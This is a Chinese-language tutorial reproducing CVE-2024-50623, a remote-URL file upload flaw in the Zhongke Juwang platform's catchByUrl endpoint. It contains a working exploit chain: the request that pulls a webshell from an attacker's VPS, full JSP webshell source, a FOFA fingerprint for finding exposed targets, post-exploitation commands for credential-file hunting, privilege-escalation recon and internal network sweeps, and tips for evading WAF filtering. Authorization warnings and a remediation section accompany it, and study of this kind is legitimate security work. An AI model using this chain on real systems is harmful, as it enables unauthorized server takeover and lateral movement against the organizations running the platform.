CVE-2024-50623漏洞复现:从任意文件上传到服务器控制实战解析
1. 项目概述:一次典型的企业级应用文件上传漏洞复现
最近在梳理一些历史漏洞案例时,我重新审视了北京中科聚网一体化运营平台的一个老漏洞。这个漏洞编号为CVE-2024-50623,核心问题出在一个名为catchByUrl的接口上,它允许攻击者通过远程URL上传任意文件,最终可能导致服务器被完全控制。虽然这个漏洞的POC(概念验证代码)在GitHub等平台已经公开,但很多复现记录都过于简略,只给出了请求包和路径,对于漏洞产生的深层原因、完整的利用链以及在实际渗透测试环境中的注意事项却语焉不详。这导致很多刚入门安全研究的朋友照着做却屡屡碰壁,或者知其然不知其所以然。
今天,我就以这个漏洞为案例,带大家完整地走一遍从漏洞原理分析、环境搭建(或目标寻找)、漏洞利用到深度利用的整个流程。我会重点拆解几个关键环节:为什么catchByUrl这个接口会出问题?如何精准地找到存在漏洞的系统?上传了WebShell之后,除了执行命令还能做什么?以及在复现过程中,你大概率会遇到的几个“坑”和解决办法。无论你是正在学习Web安全的在校学生,还是希望提升实战能力的安服工程师,这篇详尽的复现手记都应该能给你带来一些实实在在的收获。我们不止于“能打穿”,更要明白“为什么能打穿”以及“打穿后怎么办”。
2. 漏洞原理深度剖析:catchByUrl接口的设计缺陷
要理解这个漏洞,我们首先得弄明白catchByUrl这个接口是干什么的,以及它本应如何工作。北京中科聚网一体化运营平台是一个面向政府、企业提供综合管理功能的系统,其内部集成了UEditor富文本编辑器。UEditor本身有一个功能,就是允许用户通过网络URL插入图片,而不是必须从本地上传。这个功能的初衷是为了方便编辑,比如直接从其他网站引用一张配图。
2.1 正常业务流程与漏洞触发点
在理想的安全设计下,catchByUrl接口的工作流程应该是这样的:
- 前端编辑器用户输入一个图片URL。
- 后端服务(即
/resources/files/ue/catchByUrl)接收到这个URL。 - 后端服务对该URL进行校验:检查是否为合法的图片URL(如以.jpg, .png结尾),检查域名是否在白名单内(防止SSRF攻击),甚至下载文件后检查文件头(Magic Number)确认确实是图片格式。
- 校验通过后,将远程图片下载到服务器的一个安全目录,目录路径不可预测,文件名进行重命名(如用时间戳+随机数),并返回一个安全的访问路径给前端。
- 前端使用这个安全路径展示图片。
然而,中科聚网的这个实现出现了严重的安全缺失,导致了“任意文件上传漏洞”。其问题主要体现在以下几个层面:
第一层:缺乏文件类型校验。这是最致命的缺陷。接口在通过url参数获取远程文件时,没有对文件的后缀名或内容进行任何检查。攻击者可以将url参数指向一个托管在VPS上的JSP恶意脚本文件(如exp.jsp),系统会毫无戒备地将其下载到服务器上。
第二层:存储路径可预测且可访问。下载的文件被存储在一个固定的、可被Web直接访问的目录下:/files/headimg/。更糟糕的是,它似乎保留了原始的文件名。这就意味着,攻击者上传的exp.jsp文件,最终可以通过http://target_ip/files/headimg/exp.jsp这个确切的URL直接访问并执行。
第三层:可能存在的目录遍历。虽然公开的POC中没有体现,但在实际测试中,有时通过构造特殊的URL,可能实现目录穿越,将文件上传到更关键的目录,这进一步放大了风险。
2.2 与常见文件上传漏洞的对比
很多朋友可能接触过DVWA(Damn Vulnerable Web Application)中的文件上传漏洞。那种漏洞通常发生在前端表单上传场景,防御手段包括前端JS校验、后端MIME类型检查、后缀名黑名单/白名单、文件内容检测等。绕过方式也多种多样,比如抓包修改Content-Type、利用双写后缀(shell.php.jpg)、利用解析漏洞(shell.php.jpg在特定服务器上被当作PHP执行)等。
而catchByUrl漏洞属于“远程文件下载导致的上传”,它绕过了传统的前端上传交互。它的利用条件更简单:只需要目标系统开放了这个接口,并且对url参数没有过滤。攻击者甚至不需要与目标系统的上传表单进行任何交互,直接发送一个HTTP GET请求即可完成攻击。这使得漏洞的利用门槛和自动化攻击的可能性大大降低。
3. 复现环境准备与目标资产发现
在真正对互联网目标进行测试之前(必须获得书面授权!),我强烈建议大家在本地或可控的隔离环境中搭建靶场进行练习。但对于这个特定漏洞,由于涉及特定厂商的闭源系统,搭建完整环境比较困难。因此,我们的复现将分为两部分:首先是理解利用过程,然后是学习如何在授权范围内寻找真实目标。
3.1 理解POC与构造攻击载荷
公开的POC是一个简单的HTTP GET请求:
GET /resources/files/ue/catchByUrl?url=http://vpsip/exp.jsp HTTP/1.1 Host: [目标IP/域名] User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36... Accept-Encoding: gzip, deflate, br Accept: */* Accept-Language: en-US;q=0.9,en;q=0.8 Connection: close我们需要准备两个东西:
- VPS/攻击服务器:用于托管我们的恶意JSP文件(
exp.jsp)。你需要一个具有公网IP的服务器,并确保80或443端口可访问。 - 恶意JSP文件:一个简单的JSP WebShell。这里提供一个极简的示例(
exp.jsp):<%@ page import="java.util.*,java.io.*"%> <% String cmd = request.getParameter("cmd"); if (cmd != null) { Process p = Runtime.getRuntime().exec(cmd); OutputStream os = p.getOutputStream(); InputStream in = p.getInputStream(); DataInputStream dis = new DataInputStream(in); String disr = dis.readLine(); while ( disr != null ) { out.println(disr); disr = dis.readLine(); } } %>注意:此代码仅用于授权测试环境中的教学演示。在真实环境中制作和使用WebShell必须严格遵守法律法规和测试授权范围。
将exp.jsp放在你的VPS的Web根目录下(例如,Apache的/var/www/html/或Nginx的/usr/share/nginx/html/),确保可以通过http://你的VPS_IP/exp.jsp直接访问(此时访问会显示空白或错误,因为缺少cmd参数,但文件能被下载即可)。
3.2 使用网络空间测绘引擎发现目标
对于真实世界的漏洞复现或渗透测试(再次强调,必须获得授权),我们需要找到安装了“北京中科聚网一体化运营平台”的系统。这里就要用到像FOFA、Shodan、ZoomEye这样的网络空间测绘引擎。
公开的POC中给出了一个FOFA指纹:body="thirdparty/ueditor/WordPaster"。这个指纹的准确性很高,因为它匹配的是系统内嵌的UEditor组件中的一个特定字符串,而这个组件和存在漏洞的catchByUrl接口是强关联的。
实操步骤:
- 访问FOFA官网,使用语法:
body="thirdparty/ueditor/WordPaster"进行搜索。 - 在结果中,你可以看到大量使用该系统的IP地址。为了测试的合法性与安全性,请务必选择那些明确标注为“测试站点”、“演练平台”或者你已获得书面授权的资产。切勿对任何未授权的生产系统进行测试。
- 确认目标后,记录下目标的IP地址或域名。
资产发现阶段的注意事项:
- 指纹的变种:有些系统可能修改了默认路径或静态资源,导致这个指纹失效。可以尝试更宽泛的指纹,如
title="中科聚网"或icon_hash="-xxx"(需要计算特定图标的哈希),但准确率会下降。 - 目标筛选:优先选择非核心业务系统、明显为测试环境的站点。通过查看网站标题、备案信息等可以辅助判断。
- 法律红线:未经授权对任何计算机信息系统进行漏洞扫描、探测、利用,均属违法行为。所有操作必须在合法合规的框架内进行,例如在自家搭建的实验室、购买的云服务器靶场或客户明确授权的范围内。
4. 漏洞利用实战:从请求到GetShell
假设我们已经找到了一个授权的测试目标http://192.168.1.100,并且我们的VPS IP是123.123.123.123。
4.1 步骤一:发送漏洞利用请求
我们使用curl命令或者Burp Suite来发送POC请求。
使用curl命令:
curl -X GET "http://192.168.1.100/resources/files/ue/catchByUrl?url=http://123.123.123.123/exp.jsp" -H "User-Agent: Mozilla/5.0..."如果漏洞存在,服务器会尝试去访问http://123.123.123.123/exp.jsp,并将该文件下载到自己的/files/headimg/目录下,保存为exp.jsp。
使用Burp Suite:
- 打开Burp,配置好代理。
- 在浏览器中访问目标网站任意页面,让流量经过Burp。
- 在Burp的Proxy -> HTTP history中找到一条对目标域的请求,右键选择
Send to Repeater。 - 在Repeater模块中,将请求方法改为GET,路径修改为
/resources/files/ue/catchByUrl?url=http://123.123.123.123/exp.jsp。 - 点击Send发送请求。
关键点观察:
- 响应状态码:如果返回
200 OK,并不绝对代表成功,可能只是接口正常响应。需要结合响应体判断。 - 响应时间:如果请求耗时明显变长(几秒),可能是因为服务器正在从你的VPS下载文件,这是一个积极的信号。
- 响应内容:关注响应体里是否有与文件下载、保存相关的关键词,如“成功”、“保存”、“upload”等,或者是JSON格式的返回信息。但很多时候,该接口可能没有明确的成功回显。
4.2 步骤二:验证WebShell是否上传成功
发送请求后,无论响应是什么,我们都需要去验证文件是否真的被写入了预期路径。直接访问:http://192.168.1.100/files/headimg/exp.jsp
- 情况A(成功):页面返回空白、报错(缺少参数)或者显示一些无关内容。这通常是好的迹象,说明JSP文件被成功保存并且能被Web服务器解析(即使执行没输出)。此时,可以尝试带上参数访问:
http://192.168.1.100/files/headimg/exp.jsp?cmd=whoami如果页面返回了服务器当前用户的用户名(如tomcat、root等),那么恭喜你,GetShell成功。 - 情况B(失败):返回404 Not Found。这说明文件没有上传成功。可能的原因有:
- 目录路径不对。尝试访问
http://192.168.1.100/resources/files/headimg/exp.jsp或通过目录遍历猜测其他路径。 - 文件下载失败。检查你的VPS上的
exp.jsp是否可通过公网直接访问,防火墙是否放行了80端口。 - 目标系统对下载的文件内容做了检查,拦截了非图片文件。
- 漏洞已被修复。
- 目录路径不对。尝试访问
4.3 步骤三:WebShell的深度利用
成功上传WebShell并执行命令只是第一步。在授权的渗透测试中,我们需要进一步探索,获取更多信息。
信息收集:
# 查看当前用户和权限 cmd=whoami && id # 查看操作系统和内核信息 cmd=uname -a # 查看网络配置 cmd=ifconfig 或 ip addr # 查看当前目录和敏感文件 cmd=pwd && ls -la /home/ && find / -name \"*.properties\" -o -name \"*.yml\" -o -name \"*.xml\" 2>/dev/null | head -20尝试权限提升:如果当前用户权限较低,可以尝试查找SUID文件、可利用的内核漏洞、错误的sudo配置等。
cmd=find / -perm -u=s -type f 2>/dev/null内网探测:如果目标服务器处于内网,你的WebShell就成为了一个“跳板”。
# 探测内网网段存活主机 cmd=for i in {1..254}; do ping -c 1 -W 1 192.168.1.$i & done | grep from # 查看ARP表 cmd=arp -a
重要安全与合规提示:以上所有深度利用操作,必须在拥有明确书面授权、划定清晰测试范围的环境中进行。禁止对授权范围外的系统进行探测和攻击。测试完成后,应主动清理上传的WebShell文件,并向客户提供详细的漏洞报告和修复建议。
5. 漏洞修复方案与安全加固建议
作为负责任的漏洞复现者或安全研究人员,我们的目标不仅是“攻破”,更是帮助防御。针对这个漏洞,可以从以下几个层面进行修复:
5.1 紧急临时修复措施
- 禁用或删除漏洞接口:如果业务上不需要
catchByUrl这个远程抓取功能,最直接有效的方法是在Web服务器(如Nginx、Apache)或应用层(如Spring Security拦截器、Servlet Filter)中,配置规则直接拦截或返回错误码。例如,在Nginx中:location /resources/files/ue/catchByUrl { deny all; return 403; } - 增加访问控制:对该接口的访问增加IP白名单限制,只允许可信的内部IP或CDN节点调用。
5.2 根本性修复方案
严格的输入校验:
- URL白名单:只允许下载来自可信域名(如公司内部的图床、指定的OSS服务商)的图片。
- 文件类型校验:不仅检查URL中的文件后缀(如.jpg, .png, .gif),更要在文件下载到临时位置后,通过检查文件头(Magic Number)来确认其真实的文件类型。例如,一个JPEG文件的开头两个字节是
FF D8。 - 文件大小限制:限制下载文件的最大尺寸,防止通过上传超大文件进行DoS攻击。
安全的文件存储:
- 不可预测的路径与文件名:不要使用固定的目录和原始文件名。应采用随机生成的字符串(如UUID)作为文件名,并将文件存储在Web根目录之外。通过一个安全的下载/访问接口,通过文件ID来映射和读取真实文件。
- 禁用脚本执行权限:确保存储上传文件的目录(如
/files/headimg/)在Web服务器配置中禁用了脚本执行权限。对于Nginx+Tomcat架构,要确保静态文件目录不被Tomcat解析。
代码层面修复:审查并重写
catchByUrl接口的处理逻辑。参考以下伪代码的安全实践:public String catchByUrl(String remoteUrl) { // 1. 校验URL域名是否在白名单内 if (!isUrlInWhitelist(remoteUrl)) { throw new SecurityException("URL not allowed."); } // 2. 下载文件到临时目录 File tempFile = downloadToTemp(remoteUrl); // 3. 校验文件类型(通过Magic Number) if (!isValidImageByMagicNumber(tempFile)) { tempFile.delete(); throw new SecurityException("File type not allowed."); } // 4. 生成随机文件名和安全存储路径 String safeFileName = generateRandomName() + ".jpg"; // 强制改为图片后缀 Path safeStoragePath = Paths.get("/secure/non-web-accessible/dir/", safeFileName); Files.move(tempFile.toPath(), safeStoragePath); // 5. 返回一个通过安全控制器访问的URL令牌,而非直接路径 return "/imageProxy?token=" + generateAccessToken(safeFileName); }
5.3 企业级安全防护建议
- 部署WAF(Web应用防火墙):在应用前端部署WAF,可以配置规则拦截含有
catchByUrl路径且参数为可疑远程URL的请求。 - 定期进行安全扫描与渗透测试:建立常态化的安全检测机制,主动发现此类未授权访问、文件上传等漏洞。
- 建立软件成分清单(SBOM)与漏洞预警机制:对系统中使用的所有第三方组件(如UEditor)进行梳理,关注其安全公告,及时修复已知漏洞。
6. 复现过程中的常见问题与排查技巧
在实际复现过程中,你可能会遇到各种问题。下面我总结了一些常见的情况和排查思路,这往往是那些简短的POC里不会告诉你的“坑”。
6.1 问题一:请求发送后,访问WebShell路径返回404
- 可能原因1:文件下载失败。
- 排查:在你的VPS上查看Web访问日志(如
tail -f /var/log/nginx/access.log),看看目标IP是否真的来请求过exp.jsp文件。如果没有日志记录,说明目标服务器可能因为网络策略(出站限制)根本无法访问你的VPS。 - 解决:尝试更换VPS的端口(如将文件放在8080端口),或者使用更常见的域名而非IP,有时企业的出站规则会对IP段或非常用端口进行限制。
- 排查:在你的VPS上查看Web访问日志(如
- 可能原因2:存储路径不正确。
- 排查:公开的路径是
/files/headimg/,但不同版本的部署可能会修改这个路径。尝试进行目录爆破,使用工具如dirsearch、gobuster,针对/files/、/resources/等目录进行扫描,寻找可能的上传目录。 - 解决:
dirsearch -u http://target -w /path/to/wordlist.txt
- 排查:公开的路径是
- 可能原因3:文件被安全软件或WAF拦截。
- 排查:尝试上传一个纯文本的
test.txt文件,内容为“test”,看是否能成功访问。如果能,再尝试上传一个内容为<%@的JSP文件,看是否被拦截。这可以判断是文件内容被过滤,还是JSP扩展名被拦截。 - 解决:尝试对WebShell进行编码、混淆,或者使用其他脚本类型(如
.jspx,.jspf,如果容器支持的话)。但注意,这取决于目标服务器的具体配置。
- 排查:尝试上传一个纯文本的
6.2 问题二:WebShell可以访问,但执行命令无回显
- 可能原因1:命令执行环境问题。
- 排查:执行一个简单的
echo 123或dir(Windows)看是否有输出。我们的示例WebShell依赖于Runtime.getRuntime().exec(),在某些严格的JVM安全策略或容器环境下可能受限。 - 解决:换用更兼容的WebShell代码,或者尝试使用JSP的
ProcessBuilder类。也可以尝试执行无害的命令如ping 127.0.0.1 -c 1,通过观察服务器是否发起ping请求(在你的VPS或内网监听)来判断命令是否真正执行。
- 排查:执行一个简单的
- 可能原因2:输出流重定向问题。
- 排查:示例WebShell只读取了命令执行的标准输出(stdout),而错误输出(stderr)被忽略了。有些命令的输出可能在stderr中。
- 解决:修改WebShell代码,将标准错误流也合并读取。或者,使用更成熟的现成WebShell工具。
6.3 问题三:如何判断漏洞是否存在而不触发实际攻击?
在授权测试的初步探测阶段,我们可能不想真的上传一个WebShell。
- 无害化验证方法:
- DNSLOG外带测试:将
url参数指向一个DNSLOG平台提供的子域名,如http://your-unique-id.dnslog.cn/test.jpg。如果目标服务器尝试去下载这个“图片”,就会产生一个DNS查询记录,从而在DNSLOG平台看到回显。这可以无侵害地确认漏洞是否存在。 - 请求延时测试:将
url参数指向一个你自己控制的、设置了长时间睡眠(sleep)后才响应的HTTP服务。如果发送请求后,目标的响应时间明显变长(等于你的睡眠时间+网络延迟),则说明服务器确实去请求了该URL,间接证明漏洞存在。 - 使用无害图片URL:直接使用一个公网上真实的图片URL进行测试,如
?url=https://example.com/test.jpg。然后去访问推测的存储路径,看是否能找到被下载的图片。如果能,证明漏洞存在且功能正常。
- DNSLOG外带测试:将
6.4 高级技巧:自动化与批量验证
在获得广泛授权(如SRC众测项目)的情况下,安全工程师可能需要批量验证一批目标。这时可以编写简单的Python脚本,结合DNSLOG或HTTP监听服务,进行自动化探测。
脚本思路:
- 从FOFA等平台导出目标列表。
- 为每个目标生成一个唯一的DNSLOG子域名或HTTP请求监听URL。
- 使用
requests库构造漏洞探测请求,将唯一URL作为url参数。 - 发送请求后,轮询DNSLOG平台或自己的HTTP监听服务,检查是否有来自目标IP的请求记录。
- 根据记录判断漏洞是否存在,并生成报告。
这种方法高效且隐蔽,避免了直接上传文件可能带来的法律风险和系统影响。